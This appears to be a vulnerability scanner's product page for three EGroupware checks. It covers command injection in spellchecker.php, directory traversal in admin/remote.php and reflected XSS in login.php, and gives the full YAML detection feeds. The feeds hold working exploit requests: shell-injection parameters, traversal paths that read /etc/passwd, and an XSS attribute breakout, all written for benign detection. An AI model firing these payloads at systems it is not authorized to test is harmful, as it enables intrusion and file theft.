EGroupware — 3 vulnerability checks
noctis ships 3 vulnerability checks for EGroupware, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
EGroupware FCKeditor spellchecker.php Command Injection
| CVE | CVE-2010-3313 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/egroupware/CVE-2010-3313.yaml |
EGroupware 1.4.001, 1.6.001 and 1.6.002 (and EPL 9.1/9.2 before 20100309) ship an FCKeditor spell-check script that builds an aspell command line from the aspell_path and spellchecker_lang query parameters and runs it through the shell, without any login, allowing unauthenticated command execution.
Under the web root, /egroupware and /egw, this check POSTs one word to phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php with aspell_path set to the command echo NOCTIS$((a+b)), where a and b are random numbers drawn for each scan; when that gives no proof it sends the same command in spellchecker_lang after a ";". The finding requires the reply to contain NOCTIS followed by the sum of a and b — a value only the target's shell can compute, since the request carries the arithmetic expression, not its result. The command only prints text; nothing is left on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scr…with a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scr…with a crafted body - Parses / computes the next value with a Rhai script
- Checks
p.markerfor^NOCTIS[0-9]{7}$→ finding QoD 97: EGroupware FCKeditor spellchecker.php Command Injection (CVE-2010-3313) - Checks
p.markerfor^NOCTIS[0-9]{7}$→ finding QoD 97: EGroupware FCKeditor spellchecker.php Command Injection (CVE-2010-3313)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-3313
- https://github.com/EGroupware/egroupware/commit/2c81925b20802b920f08a3fe4b0bfd7d600d2fbb
- http://www.securityfocus.com/bid/38609
Feed source — tests/vulnerabilities/egroupware/CVE-2010-3313.yaml
# EGroupware 1.4.001/1.6.001/1.6.002 — FCKeditor spellchecker.php command injection — CVE-2010-3313
#
# EGroupware's FCKeditor SpellerPages server script
# (phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/
# spellchecker.php) took the aspell program and its language from the query string,
# without a session check, and ran
# shell_exec("$aspell_prog -a --lang=$lang --encoding=utf-8 -H --rem-sgml-check=alt < $tempfile 2>&1")
# with $aspell_prog = $_GET['aspell_path'] and $lang = $_GET['spellchecker_lang'].
# Every output line that is not an aspell result ("&", "#", "*", "@") is printed back in
# error = 'Error executing `<cmd>`\n<lines>';. Fixed in 1.6.003 (upstream commit
# 2c81925b20, branch 1.6 of github.com/EGroupware/egroupware): the script requires an
# EGroupware session and escapeshellarg()s the language.
#
# This feed is beyond the reference check, which only tests the login.php lang XSS
# (CVE-2010-3314, own feed egroupware/CVE-2010-3314.yaml): it proves the command
# execution itself with `echo NOCTIS$((a+b))` — the shell-computed sum of two random
# numbers, never sent, comes back in the page. The payload has no quote or backslash, so
# PHP magic_quotes_gpc does not break it, and the trailing "#" comments out the rest of
# the aspell command line. The script writes its usual aspell_data_* temp file (the
# POSTed word "noctis") and deletes it before answering, as on every spell check.
#
# Source: OpenVAS/Greenbone NASL 2010/gb_egroupware_mult_vulns_09_10.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100824, GPL-2.0-only) for the product/CVE pair; request
# derived from the vulnerable upstream source.
uid: 9b10cfd4-727f-4608-9f50-82f3daa4f6cf
name: "EGroupware FCKeditor spellchecker.php Command Injection (CVE-2010-3313)"
description: |
EGroupware 1.4.001, 1.6.001 and 1.6.002 (and EPL 9.1/9.2 before 20100309) ship an
FCKeditor spell-check script that builds an aspell command line from the aspell_path
and spellchecker_lang query parameters and runs it through the shell, without any
login, allowing unauthenticated command execution.
Under the web root, /egroupware and /egw, this check POSTs one word to
phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
with aspell_path set to the command echo NOCTIS$((a+b)), where a and b are random
numbers drawn for each scan; when that gives no proof it sends the same command in
spellchecker_lang after a ";". The finding requires the reply to contain NOCTIS
followed by the sum of a and b — a value only the target's shell can compute, since
the request carries the arithmetic expression, not its result. The command only
prints text; nothing is left on the server.
cves: [CVE-2010-3313]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [egroupware, fckeditor, rce, command-injection, php, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-3313"
- "https://github.com/EGroupware/egroupware/commit/2c81925b20802b920f08a3fe4b0bfd7d600d2fbb"
- "http://www.securityfocus.com/bid/38609"
# OpenVAS/Greenbone NASL 2010/gb_egroupware_mult_vulns_09_10.nasl (GPL-2.0-only)
steps:
# Random operands; only their sum (never sent) proves execution.
- id: build
action: script
store_as: p
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }
- id: init-hit
action: set_var
var_name: hit
var_value: false
# ── Loop group: every following step runs once per install dir.
- id: init-r1
action: set_var
var_name: r1
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/egroupware", "/egw"]
- id: init-r2
action: set_var
var_name: r2
var_value: {status: 0, body: ""}
# 1. aspell_path = "echo NOCTIS$((a+b)) #" → the whole command line is our echo.
- id: inject-path
action: http_request
method: POST
path: "{{dir}}/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?aspell_path=echo%20NOCTIS%24%28%28{{p.a}}%2B{{p.b}}%29%29%20%23"
port: "{{port}}"
condition: "hit == false"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "textinputs%5B%5D=noctis"
store_as: r1
- id: check-path
action: script
store_as: hit
code: |
hit || (r1.status == 200 && type_of(r1.body) == "string" && ereg(p.marker + "([^0-9]|$)", r1.body))
# 2. spellchecker_lang = "noctis;echo NOCTIS$((a+b)) #" (aspell_path left at its default).
# An unknown language makes aspell exit at start-up instead of reading stdin
# (its "< tempfile" is commented out by the "#").
- id: inject-lang
action: http_request
method: POST
path: "{{dir}}/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?spellchecker_lang=noctis%3Becho%20NOCTIS%24%28%28{{p.a}}%2B{{p.b}}%29%29%20%23"
port: "{{port}}"
condition: "hit == false && r1.status == 200"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "textinputs%5B%5D=noctis"
store_as: r2
- id: check-lang
action: script
store_as: hit2
code: |
!hit && r2.status == 200 && type_of(r2.body) == "string" && ereg(p.marker + "([^0-9]|$)", r2.body)
- id: report-path
action: match
source: p.marker
pattern: "^NOCTIS[0-9]{7}$"
condition: "hit == true"
on_match:
finding:
title: "EGroupware FCKeditor spellchecker.php Command Injection (CVE-2010-3313)"
description: "The FCKeditor spell-check script ran a shell command taken from its aspell_path parameter without any login: the reply carried the output of echo NOCTIS$((a+b)), the sum of two random numbers computed by the target's shell. An unauthenticated attacker can run any command as the web server user."
remediation: "Upgrade EGroupware to 1.6.003 or later (EPL 9.1.20100309 / 9.2.20100309 or later). Until then, deny web access to phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php."
confidence_delta: 0.67
qod: 97
evidence: "POST {{dir}}/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?aspell_path=echo NOCTIS$(({{p.a}}+{{p.b}})) # returned HTTP 200 with the shell-computed marker {{p.marker}}"
stop: true
- id: report-lang
action: match
source: p.marker
pattern: "^NOCTIS[0-9]{7}$"
condition: "hit2 == true"
on_match:
finding:
title: "EGroupware FCKeditor spellchecker.php Command Injection (CVE-2010-3313)"
description: "The FCKeditor spell-check script ran a shell command appended to its spellchecker_lang parameter without any login: the reply carried the output of echo NOCTIS$((a+b)), the sum of two random numbers computed by the target's shell. An unauthenticated attacker can run any command as the web server user."
remediation: "Upgrade EGroupware to 1.6.003 or later (EPL 9.1.20100309 / 9.2.20100309 or later). Until then, deny web access to phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php."
confidence_delta: 0.67
qod: 97
evidence: "POST {{dir}}/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?spellchecker_lang=noctis;echo NOCTIS$(({{p.a}}+{{p.b}})) # returned HTTP 200 with the shell-computed marker {{p.marker}}"
stop: trueEGroupware admin/remote.php Directory Traversal
| CVE | CVE-2011-4948 |
|---|---|
| Severity | medium · CVSS 5.0 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/egroupware/CVE-2011-4948.yaml |
Tests EGroupware (Community Edition before 1.8.001.20110805, Enterprise Line before 11.1.20110804-1) for the unauthenticated arbitrary file read in admin/remote.php, which passes the type request parameter to the class autoloader without validation. The feed requests admin/remote.php under the usual install locations (web root, /egroupware, /egw) with type set to a ..%2f sequence ending in etc/passwd and a NUL byte and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the read (the NUL cut needs PHP before 5.3.4). A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read and no admin command is queued. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{dir}}/admin/remote.php?uid=a&type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2… - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin/remote.php?uid=a&type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2… - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{dir}}/admin/remote.php?uid=a&type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2… - Checks
bootini_r.bodyfor(?i)\[boot loader\] - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin/remote.php?uid=a&type={{ctrl_path}}%00.jpg&creator_email=a - Checks
ctrl_r.bodyfor(?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support… - Checks
lin_prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: EGroupware admin/remote.php Directory Traversal (CVE-2011-4948) - Checks
win_filefor^(windows/win\.ini|boot\.ini)$→ finding QoD 75: EGroupware admin/remote.php Directory Traversal (CVE-2011-4948)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2011-4948
- https://nvd.nist.gov/vuln/detail/CVE-2011-4949
- https://nvd.nist.gov/vuln/detail/CVE-2011-4950
- https://nvd.nist.gov/vuln/detail/CVE-2011-4951
Feed source — tests/vulnerabilities/egroupware/CVE-2011-4948.yaml
# EGroupware admin/remote.php "type" directory traversal — CVE-2011-4948
#
# EGroupware Community Edition before 1.8.001.20110805 (EPL before
# 11.1.20110804-1) ships admin/remote.php, the remote admin-command entry
# point. It needs no session and hands the "type" request parameter (meant to
# be an admin_cmd class name) to the class autoloader without checking it, so
# "..%2f" sequences make PHP include an arbitrary file and print it; a NUL
# byte ("%00.jpg") cuts the suffix the loader appends (PHP before 5.3.4). The
# fix (commit 9da993b284) only accepts type values matching /^[a-z0-9_]+$/i
# and answers "0 Bad format!" to anything else.
#
# Detection (benign, read-only): GET
# <dir>/admin/remote.php?uid=a&type=<..%2f x10>etc/passwd%00.jpg&creator_email=a
# and match the CONTENT of /etc/passwd; when the script answers but no passwd
# line comes back, the Windows files windows/win.ini, then boot.ini. QoD 75
# (response analysis). Nothing is written, no admin command is queued.
#
# Improvements over the source NASL:
# - The NASL needs its EGroupware detection first and uses the OS-specific
# file list; the feed probes the usual locations (web root, /egroupware,
# /egw) directly and tries the Windows files whenever the Linux read
# gives nothing.
# - A control request (same parameter, a path in an absent random
# directory that still ends with the file that hit) must come back
# WITHOUT any of these files; a blanket responder or a honeypot keying a
# fake file on the file name or path suffix is not reported (fail-closed:
# no control reply, no finding).
# - The account name (unless "root"), password field and gecos of the
# uid-0 line are redacted before they reach the finding.
#
# CVEs: the issue lists CVE-2011-4948 (this file read), CVE-2011-4949 (SQLi in
# dhtmlxtree loaddetails.php), CVE-2011-4950 (XSS in jscalendar test.php) and
# CVE-2011-4951 (open redirect in ntlm/index.php). Only the traversal is
# exercised and named. CVSS: NVD has no v3 score for CVE-2011-4948 (v2 5.0, AV:N/AC:L/Au:N/C:P).
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_egroupware_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801944, GPL-2.0-only).
uid: 4a2ac6db-2756-416b-af2c-10a0f58a62e6
name: "EGroupware admin/remote.php Directory Traversal (CVE-2011-4948)"
description: |
Tests EGroupware (Community Edition before 1.8.001.20110805, Enterprise
Line before 11.1.20110804-1) for the unauthenticated arbitrary file read in
admin/remote.php, which passes the type request parameter to the class
autoloader without validation. The feed requests admin/remote.php under the
usual install locations (web root, /egroupware, /egw) with type set to a
..%2f sequence ending in etc/passwd and a NUL byte and, when no passwd
content comes back, windows/win.ini and then boot.ini. The content of the
file in the reply confirms the read (the NUL cut needs PHP before 5.3.4). A
control request for an absent random file through the same parameter must
not return any of these files, so a server that serves the same content on
every request is not reported. Only world-readable system files are read
and no admin command is queued. The account name (unless root), password
field and gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2011-4948]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [egroupware, php, path-traversal, directory-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2011-4948"
- "https://nvd.nist.gov/vuln/detail/CVE-2011-4949"
- "https://nvd.nist.gov/vuln/detail/CVE-2011-4950"
- "https://nvd.nist.gov/vuln/detail/CVE-2011-4951"
# OpenVAS/Greenbone NASL 2011/gb_egroupware_mult_vuln.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per install location.
# Each pass resets the values it reads, so nothing is left over.
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/egroupware", "/egw"]
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/admin/remote.php?uid=a&type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd%00.jpg&creator_email=a"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
if passwd_m.captures[0] == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: lin_proof
# ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
# script answered (200) and the Linux read gave nothing ───────────────────
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/admin/remote.php?uid=a&type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini%00.jpg&creator_email=a"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && passwd_r.status == 200'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && passwd_r.status == 200'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{dir}}/admin/remote.php?uid=a&type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00.jpg&creator_email=a"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same parameter, absent random file — must NOT carry a file ──
# The absent path sits in a random missing directory but still ENDS with
# the file that hit (etc/passwd, windows/win.ini or boot.ini), so a honeypot
# that keys a fake file on that name or path suffix answers it too.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fnoctis-absent-" + oob_token + "/" + f
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "{{dir}}/admin/remote.php?uid=a&type={{ctrl_path}}%00.jpg&creator_email=a"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "EGroupware admin/remote.php Directory Traversal (CVE-2011-4948)"
description: "An unauthenticated request to admin/remote.php with the type parameter set to a ..%2f sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the EGroupware header.inc.php with its database and setup passwords."
remediation: "Update EGroupware to 1.8.001.20110805 or later (EPL 11.1.20110804-1 or later), or remove admin/remote.php; also run a PHP release that rejects NUL bytes in file paths (5.3.4 or later)."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/admin/remote.php?uid=a&type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd%00.jpg&creator_email=a returned /etc/passwd through the type parameter; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^(windows/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "EGroupware admin/remote.php Directory Traversal (CVE-2011-4948)"
description: "An unauthenticated request to admin/remote.php with the type parameter set to a ..%2f sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the EGroupware header.inc.php with its database and setup passwords."
remediation: "Update EGroupware to 1.8.001.20110805 or later (EPL 11.1.20110804-1 or later), or remove admin/remote.php; also run a PHP release that rejects NUL bytes in file paths (5.3.4 or later)."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/admin/remote.php?uid=a&type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{{win_file}}%00.jpg&creator_email=a returned the content of {{win_file}}; control for an absent file returned no file content"
stop: trueEGroupware login.php lang Reflected XSS
| CVE | CVE-2010-3314 |
|---|---|
| Severity | medium · CVSS 4.3 |
| Category | xss — XSS |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/egroupware/CVE-2010-3314.yaml |
EGroupware 1.4.001, 1.6.001 and 1.6.002 (and EPL 9.1/9.2 before 20100309) print the lang parameter of login.php back into the html xml:lang and meta language attributes of the login page without escaping, allowing reflected cross-site scripting.
Under the web root, /egroupware and /egw, this check requests login.php?lang=en" onmouseover=alert(/marker/) x=", where marker is random for each scan. The finding requires an HTTP 200 eGroupWare page in which the xml:lang or meta language attribute holds en, then the raw double quote that closes it (a backslash before it, from PHP magic quotes, is still a breakout), then the injected onmouseover=alert(/marker/) attribute. A page that escapes or rejects the value is not reported. The request only displays the login page and changes nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/login.php?lang=en%22%20onmouseover%3Dalert%28%2F{{tok}}%2F%29%20x%3D%22 - Parses / computes the next value with a Rhai script
- Checks
xss_proofforonmouseover=alert\(/noctis[0-9a-f]{12}/\)$→ finding QoD 75: EGroupware login.php lang Reflected XSS (CVE-2010-3314)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-3314
- https://github.com/EGroupware/egroupware/commit/a8803dbd9af89b834ef329c030d94546d6cd6408
- http://www.securityfocus.com/bid/38609
Feed source — tests/vulnerabilities/egroupware/CVE-2010-3314.yaml
# EGroupware 1.4.001/1.6.001/1.6.002 — login.php lang reflected XSS — CVE-2010-3314
#
# login.php copied $_GET['lang'] into the user's "lang" preference without any check,
# and phpgwapi/templates/default/head.tpl printed it raw in
# <html xml:lang="{lang_code}" ...> and <meta name="language" content="{lang_code}" />
# Fixed in 1.6.003 (upstream commit a8803dbd9a, branch 1.6 of
# github.com/EGroupware/egroupware): lang must match ^[a-z]{2}(-[a-z]{2})?$ in login.php
# and again in egw_framework::_get_header().
#
# Differences with the source NASL (2010/gb_egroupware_mult_vulns_09_10.nasl):
# - the NASL sends lang=" style=... onMouseOver="alert('vt-xss-test') and greps
# onMouseOver=.alert\('vt-xss-test'): the single quotes become \' under PHP
# magic_quotes_gpc (the PHP 5.2 default of the time), so a vulnerable install with
# magic quotes on is missed. This feed sends en" onmouseover=alert(/<random>/) x="
# — no single quote, an unquoted handler value — and accepts the backslash magic
# quotes put before each double quote (still a breakout in HTML);
# - the NASL trusts any page echoing its fixed string; this feed requires the random
# marker inside the xml:lang or meta language attribute it breaks out of, on an
# eGroupWare page (its meta keywords/description tag);
# - the NASL relies on its product detection for the install dir; this feed walks the
# web root, /egroupware and /egw.
# The command injection of the same advisory (CVE-2010-3313) has its own feed:
# egroupware/CVE-2010-3313.yaml.
#
# Source: OpenVAS/Greenbone NASL 2010/gb_egroupware_mult_vulns_09_10.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100824, GPL-2.0-only).
uid: fcc0fdab-49c0-4827-8c60-4661fbc18cd6
name: "EGroupware login.php lang Reflected XSS (CVE-2010-3314)"
description: |
EGroupware 1.4.001, 1.6.001 and 1.6.002 (and EPL 9.1/9.2 before 20100309) print the
lang parameter of login.php back into the html xml:lang and meta language attributes
of the login page without escaping, allowing reflected cross-site scripting.
Under the web root, /egroupware and /egw, this check requests
login.php?lang=en" onmouseover=alert(/marker/) x=", where marker is random for each
scan. The finding requires an HTTP 200 eGroupWare page in which the xml:lang or
meta language attribute holds en, then the raw double quote that closes it (a
backslash before it, from PHP magic quotes, is still a breakout), then the injected
onmouseover=alert(/marker/) attribute. A page that escapes or rejects the value is not
reported. The request only displays the login page and changes nothing on the server.
cves: [CVE-2010-3314]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [egroupware, xss, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-3314"
- "https://github.com/EGroupware/egroupware/commit/a8803dbd9af89b834ef329c030d94546d6cd6408"
- "http://www.securityfocus.com/bid/38609"
# OpenVAS/Greenbone NASL 2010/gb_egroupware_mult_vulns_09_10.nasl (GPL-2.0-only)
steps:
# Random marker for this scan (letters and hex digits only).
- id: marker
action: script
code: |
"noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
store_as: tok
# ── Loop group: every following step runs once per install dir.
- id: init-probe-r
action: set_var
var_name: probe_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/egroupware", "/egw"]
- id: probe
action: http_request
method: GET
path: "{{dir}}/login.php?lang=en%22%20onmouseover%3Dalert%28%2F{{tok}}%2F%29%20x%3D%22"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: probe_r
# The injected attribute right after the closed xml:lang / meta language value, on an
# eGroupWare page — or "".
- id: reflection
action: script
code: |
let out = "";
let b = if probe_r.status == 200 && type_of(probe_r.body) == "string" { probe_r.body } else { "" };
let brand = ereg("(?i)<meta\\s+name=\"(keywords|description|copyright|author)\"\\s+content=\"egroupware", b);
let m = eregmatch("(?i)(xml:lang|<meta\\s+name=\"language\"\\s+content)=\"en\\\\?\" onmouseover=alert\\(/" + tok + "/\\)", b);
if brand && type_of(m) == "array" && m.len() > 0 {
out = m[0];
}
out
store_as: xss_proof
- id: report
action: match
source: xss_proof
pattern: 'onmouseover=alert\(/noctis[0-9a-f]{12}/\)$'
on_match:
finding:
title: "EGroupware login.php lang Reflected XSS (CVE-2010-3314)"
description: "A login page request whose lang value carries a double quote and an event handler was answered with an eGroupWare page where that quote closes the xml:lang / meta language attribute and the onmouseover handler becomes a new attribute of the element. An attacker can send a user a login link that runs script in the context of the site."
remediation: "Upgrade EGroupware to 1.6.003 or later (EPL 9.1.20100309 / 9.2.20100309 or later), which only accepts language codes of the form xx or xx-yy."
confidence_delta: 0.55
qod: 75
evidence: "GET {{dir}}/login.php?lang=en\" onmouseover=alert(/{{tok}}/) x=\" returned HTTP 200 with an eGroupWare page containing the injected attribute unescaped: {{xss_proof}}"
stop: true